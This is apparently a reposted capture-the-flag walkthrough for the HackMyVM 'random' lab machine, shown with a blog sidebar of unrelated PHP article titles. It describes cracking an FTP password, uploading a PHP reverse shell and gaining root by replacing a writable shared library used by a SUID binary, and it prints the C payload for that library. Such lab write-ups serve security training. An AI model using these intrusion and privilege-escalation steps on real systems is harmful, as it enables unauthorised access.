当前位置:网站首页>hackmyvm-random walkthrough
hackmyvm-random walkthrough
2022-08-02 03:59:00 【xdeclearn】
1. get reverse shell
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
browse port 80, get the user name eleanor
and alan
.
crack ftp service, get the user eleanor
's password.
use sftp login as eleanor
, get into the path /html
and upload reverse php shell, visit and get shell.
2. privilege escalation
find the program with suid, we get the file /home/alan/random
.random
used Dynamic link library /lib/librooter.so
which we can replace.
Disassemble random
with ida.
int __cdecl main(int argc, const char **argv, const char **envp)
{
time_t v3; // rdi
int v5; // [rsp+1Ch] [rbp-4h]
v5 = atoi(argv[1]);
v3 = time(0LL);
srand(v3);
if ( v5 == rand() % 9 + 1 )
makemeroot(v3);
else
puts("Wrong number");
return 0;
Regardless of random numbers, you can enter the dynamic link function makemeroot
as long as you try a few more times. We recompile the librooter.so
with this code:
#include <stdlib.h>
void makemeroot()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
try a few more times, then get root.
边栏推荐
- 3.PHP数据类型、常量、字符串和运算符
- Alfa: 1 vulnhub walkthrough
- 4.表单与输入
- Praying: 1 vulnhub walkthrough
- Thread Pool (Introduction and Use of Thread Pool)
- [symfony/finder] The best file manipulation library
- 关于tp的apache 的.htaccess文件
- Query the indexes of all tables in the database and parse them into sql
- PHP8.2中字符串变量解析的新用法
- New usage of string variable parsing in PHP8.2
猜你喜欢
PHP基金会三月新闻公告发布
4. The form with the input
(1)Thinkphp6入门、安装视图、模板渲染、变量赋值
(7) 浅学 “爬虫” 过程 (概念+练习)
SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration
(6) Design of student information management system
PHP8.2的版本发布管理员和发布计划
[league/climate]一个功能健全的命令行功能操作库
Several interesting ways to open PHP: from basic to perverted
What are the killer super powerful frameworks or libraries or applications for PHP?
随机推荐
MySql Advanced -- Constraints
PHP8.2将会有哪些新东西?
Orasi: 1 vulnhub walkthrough
PHP入门(自学笔记)
[league/flysystem]一个优雅且支持度非常高的文件操作接口
关于tp的apache 的.htaccess文件
PHP有哪些框架?
PHP realizes the automatic reverse search prompt of the search box
[symfony/finder]最好用的文件操作库
[phpunit/php-timer] A timer for code execution time
hackmyvm: may walkthrough
Baidu positioning js API
SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration
The Error in the render: "TypeError: always read the properties of null '0' (reading)" Error solution
[sebastian/diff]一个比较两段文本的历史变化扩展库
3. PHP data types, constants, strings and operators
hackmyvm: may walkthrough
PHP实现搜索框的自动反查提示
(3)Thinkphp6数据库
(1) print()函数、转义字符、二进制与字符编码 、变量、数据类型、input()函数、运算符